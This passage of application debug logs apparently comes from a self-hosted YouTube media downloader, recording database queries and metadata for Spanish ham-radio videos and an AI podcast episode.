vez de RP\n\nDescargamos CircuitPython 8.x\n\nhttps://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/download/20250213/adafruit-circuitpython-bundle-8.x-mpy-20250213.zip\n\nDel fichero adafruit-circuitpython-bundle-8.x-mpy-20250213.zip copiamos los ficheros:\n\nadafruit_matrixkeypad.mpy\ndirectorio adafruit_midi\n\nA directorio /lib de la RP2040\n\nEl fichero code.py se descarga de aqui:\n\nhttps://framagit.org/remis732/pico2040midicontroller\n\nDescargarlo y copiarlo a la RP2040 en la raiz del disco\n\nExpulsar CIRCUITPY\n\nReiniciar la placa (quitar y poner alimentación)\n\nhttps://mikatahara.github.io/SendReceive/ para probarlo seleccionamos del desplegable Pico Circuitpython usb_midi.por y al teclear o mover deben de aparecer datos\nSi es asi, esta listo para ser pinchado a la radioberry y configurar la asignacion de teclas\n\nLo pinchamos a la radioberry, en el menu MIDI seleccionamos la tarjeta. Movemos un potenciometro o pulsamos un boton y asignamos en el menu la opción correspondiente. Despues de asignar cada boton hacemos click en OK. Los cambios quedan guardados.\n\n#radioberry #rp2040 #radioaficionados #hamradio #diyelectronics #vu2dle\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "169 - BOTONES FISICOS PARA LA RADIOBERRY (O EL HERMES LITE)", 1791, false, "tvJkeaNlm0Q", "https://www.youtube.com/watch?v=tvJkeaNlm0Q", "/downloads/music/ea3grn/169 - BOTONES FISICOS PARA LA RADIOBERRY (O EL HERMES LITE).m4a", false, 3, ~U[2025-10-30 17:01:35Z]] 22:01:48.050 [debug] QUERY OK source="sources" db=0.4ms idle=318.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:01:48.051 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:48.052 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1302] 22:01:48.052 [debug] Current batch of media processed. Will check again in 1000ms 22:01:49.000 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣8️⃣: Reflexiones IA 🫣\n\nBueno hoy es un medio capitulo... falta David García Martínez asi que falta la mitad.\n\nHe aprovechado para hacer algunas reflexiones referentes a la IA, los profesionales, las empresas y la sociedad... había grabado mas pero LinkedIn solo permite 15 minutos de video así que … os habéis librado... \n\nJodo que rollo me he contado a mi mismo... y que rollo te voy a contar... en este capitulo sin hashtag#iamique me gastaría que tu me lo dijeras... hashtag#iaTIque dime tus reflexiones....\n\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI \n\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 865, "filename" => "/downloads/music/IA mí QUÉ/EP:38 - Reflexiones.m4a", "id" => "8xYz-P_Ie9U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8xYz-P_Ie9U", "playlist_index" => 10, "timestamp" => 1765728216, "title" => "EP:38 - Reflexiones", "upload_date" => "20251214"} 22:01:49.001 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=951.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:01:49.002 [debug] QUERY OK source="sources" db=0.5ms idle=951.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:01:49.003 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=951.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-14 16:03:36Z], 2] 22:01:49.005 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=951.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣8️⃣: Reflexiones IA 🫣\n\nBueno hoy es un medio capitulo... falta David García Martínez asi que falta la mitad.\n\nHe aprovechado para hacer algunas reflexiones referentes a la IA, los profesionales, las empresas y la sociedad... había grabado mas pero LinkedIn solo permite 15 minutos de video así que … os habéis librado... \n\nJodo que rollo me he contado a mi mismo... y que rollo te voy a contar... en este capitulo sin hashtag#iamique me gastaría que tu me lo dijeras... hashtag#iaTIque dime tus reflexiones....\n\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI \n\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:38 - Reflexiones", "42f2c5a0-3075-491e-8a8b-8e259fba92f8", 865, false, "8xYz-P_Ie9U", "https://www.youtube.com/watch?v=8xYz-P_Ie9U", 10, "/downloads/music/IA mí QUÉ/EP:38 - Reflexiones.m4a", false, false, false, 2, [], 98, ~U[2025-12-14 16:03:36Z], ~U[2026-02-07 21:01:49Z], ~U[2026-02-07 21:01:49Z], "#IAMIQUE 👉🏼 Ep3️⃣8️⃣: Reflexiones IA 🫣\n\nBueno hoy es un medio capitulo... falta David García Martínez asi que falta la mitad.\n\nHe aprovechado para hacer algunas reflexiones referentes a la IA, los profesionales, las empresas y la sociedad... había grabado mas pero LinkedIn solo permite 15 minutos de video así que … os habéis librado... \n\nJodo que rollo me he contado a mi mismo... y que rollo te voy a contar... en este capitulo sin hashtag#iamique me gastaría que tu me lo dijeras... hashtag#iaTIque dime tus reflexiones....\n\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI \n\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:38 - Reflexiones", 865, false, "8xYz-P_Ie9U", "https://www.youtube.com/watch?v=8xYz-P_Ie9U", "/downloads/music/IA mí QUÉ/EP:38 - Reflexiones.m4a", false, 2, ~U[2025-12-14 16:03:36Z]] 22:01:49.006 [debug] QUERY OK source="sources" db=0.5ms idle=402.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:01:49.006 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:49.007 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1262] 22:01:49.007 [debug] Current batch of media processed. Will check again in 1000ms 22:01:49.052 [debug] Current batch of media processed. Will check again in 1000ms 22:01:50.008 [debug] Current batch of media processed. Will check again in 1000ms 22:01:50.053 [debug] Current batch of media processed. Will check again in 1000ms 22:01:51.009 [debug] Current batch of media processed. Will check again in 1000ms 22:01:51.054 [debug] Current batch of media processed. Will check again in 1000ms 22:01:51.105 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:52.010 [debug] Current batch of media processed. Will check again in 1000ms 22:01:52.055 [debug] Current batch of media processed. Will check again in 1000ms 22:01:53.011 [debug] Current batch of media processed. Will check again in 1000ms 22:01:53.056 [debug] Current batch of media processed. Will check again in 1000ms 22:01:54.012 [debug] Current batch of media processed. Will check again in 1000ms 22:01:54.057 [debug] Current batch of media processed. Will check again in 1000ms 22:01:55.013 [debug] Current batch of media processed. Will check again in 1000ms 22:01:55.058 [debug] Current batch of media processed. Will check again in 1000ms 22:01:56.014 [debug] Current batch of media processed. Will check again in 1000ms 22:01:56.059 [debug] Current batch of media processed. Will check again in 1000ms 22:01:57.015 [debug] Current batch of media processed. Will check again in 1000ms 22:01:57.060 [debug] Current batch of media processed. Will check again in 1000ms 22:01:58.016 [debug] Current batch of media processed. Will check again in 1000ms 22:01:58.061 [debug] Current batch of media processed. Will check again in 1000ms 22:01:59.017 [debug] Current batch of media processed. Will check again in 1000ms 22:01:59.062 [debug] Current batch of media processed. Will check again in 1000ms 22:02:00.018 [debug] Current batch of media processed. Will check again in 1000ms 22:02:00.063 [debug] Current batch of media processed. Will check again in 1000ms 22:02:00.078 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:01.019 [debug] Current batch of media processed. Will check again in 1000ms 22:02:01.064 [debug] Current batch of media processed. Will check again in 1000ms 22:02:02.020 [debug] Current batch of media processed. Will check again in 1000ms 22:02:02.065 [debug] Current batch of media processed. Will check again in 1000ms 22:02:03.021 [debug] Current batch of media processed. Will check again in 1000ms 22:02:03.066 [debug] Current batch of media processed. Will check again in 1000ms 22:02:04.022 [debug] Current batch of media processed. Will check again in 1000ms 22:02:04.067 [debug] Current batch of media processed. Will check again in 1000ms 22:02:05.023 [debug] Current batch of media processed. Will check again in 1000ms 22:02:05.068 [debug] Current batch of media processed. Will check again in 1000ms 22:02:06.024 [debug] Current batch of media processed. Will check again in 1000ms 22:02:06.069 [debug] Current batch of media processed. Will check again in 1000ms 22:02:07.025 [debug] Current batch of media processed. Will check again in 1000ms 22:02:07.070 [debug] Current batch of media processed. Will check again in 1000ms 22:02:08.026 [debug] Current batch of media processed. Will check again in 1000ms 22:02:08.071 [debug] Current batch of media processed. Will check again in 1000ms 22:02:09.027 [debug] Current batch of media processed. Will check again in 1000ms 22:02:09.072 [debug] Current batch of media processed. Will check again in 1000ms 22:02:10.028 [debug] Current batch of media processed. Will check again in 1000ms 22:02:10.073 [debug] Current batch of media processed. Will check again in 1000ms 22:02:11.029 [debug] Current batch of media processed. Will check again in 1000ms 22:02:11.074 [debug] Current batch of media processed. Will check again in 1000ms 22:02:12.030 [debug] Current batch of media processed. Will check again in 1000ms 22:02:12.075 [debug] Current batch of media processed. Will check again in 1000ms 22:02:13.031 [debug] Current batch of media processed. Will check again in 1000ms 22:02:13.076 [debug] Current batch of media processed. Will check again in 1000ms 22:02:14.032 [debug] Current batch of media processed. Will check again in 1000ms 22:02:14.077 [debug] Current batch of media processed. Will check again in 1000ms 22:02:15.033 [debug] Current batch of media processed. Will check again in 1000ms 22:02:15.078 [debug] Current batch of media processed. Will check again in 1000ms 22:02:16.034 [debug] Current batch of media processed. Will check again in 1000ms 22:02:16.079 [debug] Current batch of media processed. Will check again in 1000ms 22:02:17.035 [debug] Current batch of media processed. Will check again in 1000ms 22:02:17.080 [debug] Current batch of media processed. Will check again in 1000ms 22:02:18.036 [debug] Current batch of media processed. Will check again in 1000ms 22:02:18.081 [debug] Current batch of media processed. Will check again in 1000ms 22:02:19.037 [debug] Current batch of media processed. Will check again in 1000ms 22:02:19.082 [debug] Current batch of media processed. Will check again in 1000ms 22:02:20.038 [debug] Current batch of media processed. Will check again in 1000ms 22:02:20.083 [debug] Current batch of media processed. Will check again in 1000ms 22:02:21.039 [debug] Current batch of media processed. Will check again in 1000ms 22:02:21.084 [debug] Current batch of media processed. Will check again in 1000ms 22:02:21.107 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:22.040 [debug] Current batch of media processed. Will check again in 1000ms 22:02:22.085 [debug] Current batch of media processed. Will check again in 1000ms 22:02:23.041 [debug] Current batch of media processed. Will check again in 1000ms 22:02:23.086 [debug] Current batch of media processed. Will check again in 1000ms 22:02:24.042 [debug] Current batch of media processed. Will check again in 1000ms 22:02:24.087 [debug] Current batch of media processed. Will check again in 1000ms 22:02:25.043 [debug] Current batch of media processed. Will check again in 1000ms 22:02:25.088 [debug] Current batch of media processed. Will check again in 1000ms 22:02:26.044 [debug] Current batch of media processed. Will check again in 1000ms 22:02:26.089 [debug] Current batch of media processed. Will check again in 1000ms 22:02:27.045 [debug] Current batch of media processed. Will check again in 1000ms 22:02:27.090 [debug] Current batch of media processed. Will check again in 1000ms 22:02:28.046 [debug] Current batch of media processed. Will check again in 1000ms 22:02:28.091 [debug] Current batch of media processed. Will check again in 1000ms 22:02:29.047 [debug] Current batch of media processed. Will check again in 1000ms 22:02:29.092 [debug] Current batch of media processed. Will check again in 1000ms 22:02:30.049 [debug] Current batch of media processed. Will check again in 1000ms 22:02:30.093 [debug] Current batch of media processed. Will check again in 1000ms 22:02:31.049 [debug] Current batch of media processed. Will check again in 1000ms 22:02:31.094 [debug] Current batch of media processed. Will check again in 1000ms 22:02:32.050 [debug] Current batch of media processed. Will check again in 1000ms 22:02:32.095 [debug] Current batch of media processed. Will check again in 1000ms 22:02:33.051 [debug] Current batch of media processed. Will check again in 1000ms 22:02:33.096 [debug] Current batch of media processed. Will check again in 1000ms 22:02:34.052 [debug] Current batch of media processed. Will check again in 1000ms 22:02:34.097 [debug] Current batch of media processed. Will check again in 1000ms 22:02:35.053 [debug] Current batch of media processed. Will check again in 1000ms 22:02:35.098 [debug] Current batch of media processed. Will check again in 1000ms 22:02:36.054 [debug] Current batch of media processed. Will check again in 1000ms 22:02:36.099 [debug] Current batch of media processed. Will check again in 1000ms 22:02:37.055 [debug] Current batch of media processed. Will check again in 1000ms 22:02:37.100 [debug] Current batch of media processed. Will check again in 1000ms 22:02:38.056 [debug] Current batch of media processed. Will check again in 1000ms 22:02:38.101 [debug] Current batch of media processed. Will check again in 1000ms 22:02:39.057 [debug] Current batch of media processed. Will check again in 1000ms 22:02:39.102 [debug] Current batch of media processed. Will check again in 1000ms 22:02:40.058 [debug] Current batch of media processed. Will check again in 1000ms 22:02:40.103 [debug] Current batch of media processed. Will check again in 1000ms 22:02:41.059 [debug] Current batch of media processed. Will check again in 1000ms 22:02:41.104 [debug] Current batch of media processed. Will check again in 1000ms 22:02:42.060 [debug] Current batch of media processed. Will check again in 1000ms 22:02:42.105 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video reparamos una avería en una Xiegu G90, causada por golpes recibidos en una caída.\n\n#xiegu #g90 #repair #reparación #hamradio #swr #acoplador-antenas #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 886, "filename" => "/downloads/music/ea3grn/168- REPARACION XIEGU G90 GOLPEADA ROTURA DETECTOR ROE SWR.m4a", "id" => "MubzYRGwwSo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MubzYRGwwSo", "playlist_index" => 11, "timestamp" => 1760025640, "title" => "168- REPARACION XIEGU G90 GOLPEADA ROTURA DETECTOR ROE SWR", "upload_date" => "20251009"} 22:02:42.106 [debug] QUERY OK source="sources" db=0.5ms idle=1373.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:02:42.107 [debug] QUERY OK source="sources" db=0.4ms idle=1374.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:02:42.108 [debug] QUERY OK source="media_items" db=0.8ms idle=1374.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-09 16:00:40Z], 3] 22:02:42.110 [debug] QUERY OK source="media_items" db=1.1ms idle=1376.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video reparamos una avería en una Xiegu G90, causada por golpes recibidos en una caída.\n\n#xiegu #g90 #repair #reparación #hamradio #swr #acoplador-antenas #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "168- REPARACION XIEGU G90 GOLPEADA ROTURA DETECTOR ROE SWR", "563145ee-48bd-4f8f-ac73-35f7bb31faf8", 886, false, "MubzYRGwwSo", "https://www.youtube.com/watch?v=MubzYRGwwSo", 11, "/downloads/music/ea3grn/168- REPARACION XIEGU G90 GOLPEADA ROTURA DETECTOR ROE SWR.m4a", false, false, false, 3, [], 98, ~U[2025-10-09 16:00:40Z], ~U[2026-02-07 21:02:42Z], ~U[2026-02-07 21:02:42Z], "En este video reparamos una avería en una Xiegu G90, causada por golpes recibidos en una caída.\n\n#xiegu #g90 #repair #reparación #hamradio #swr #acoplador-antenas #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "168- REPARACION XIEGU G90 GOLPEADA ROTURA DETECTOR ROE SWR", 886, false, "MubzYRGwwSo", "https://www.youtube.com/watch?v=MubzYRGwwSo", "/downloads/music/ea3grn/168- REPARACION XIEGU G90 GOLPEADA ROTURA DETECTOR ROE SWR.m4a", false, 3, ~U[2025-10-09 16:00:40Z]] 22:02:42.110 [debug] QUERY OK source="sources" db=0.5ms idle=406.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:02:42.111 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:02:42.112 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1304] 22:02:42.112 [debug] Current batch of media processed. Will check again in 1000ms 22:02:43.061 [debug] Current batch of media processed. Will check again in 1000ms 22:02:43.113 [debug] Current batch of media processed. Will check again in 1000ms 22:02:44.062 [debug] Current batch of media processed. Will check again in 1000ms 22:02:44.114 [debug] Current batch of media processed. Will check again in 1000ms 22:02:45.063 [debug] Current batch of media processed. Will check again in 1000ms 22:02:45.115 [debug] Current batch of media processed. Will check again in 1000ms 22:02:46.064 [debug] Current batch of media processed. Will check again in 1000ms 22:02:46.116 [debug] Current batch of media processed. Will check again in 1000ms 22:02:47.065 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣1️⃣: Eugenesia 🧬👶🏻\n\nHoy venimos fuerte... si sabes lo que es... NOS ESCUCHARAS, y sino sabes lo que es DEBERIAS ESCUCHARNOS.\n\nHoy David García Martínez y yo no os vamos a contar nada de una IA (anque podriamos hoy sale Chatgpt 5.2 🫣), os vamos a hablar de un concepto que se puede poner de moda, la selección antinatural, la eugenesia. Es un temazo que da para un buen café, cerveza o cena con los amigos. \n\nComo no quiero hacer mucho spoiler aquí me quedo, TIENES QUE ESCUCHARLO, y a lo largo del día, te podre un documental de Netflix que habla de esto también. \n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo 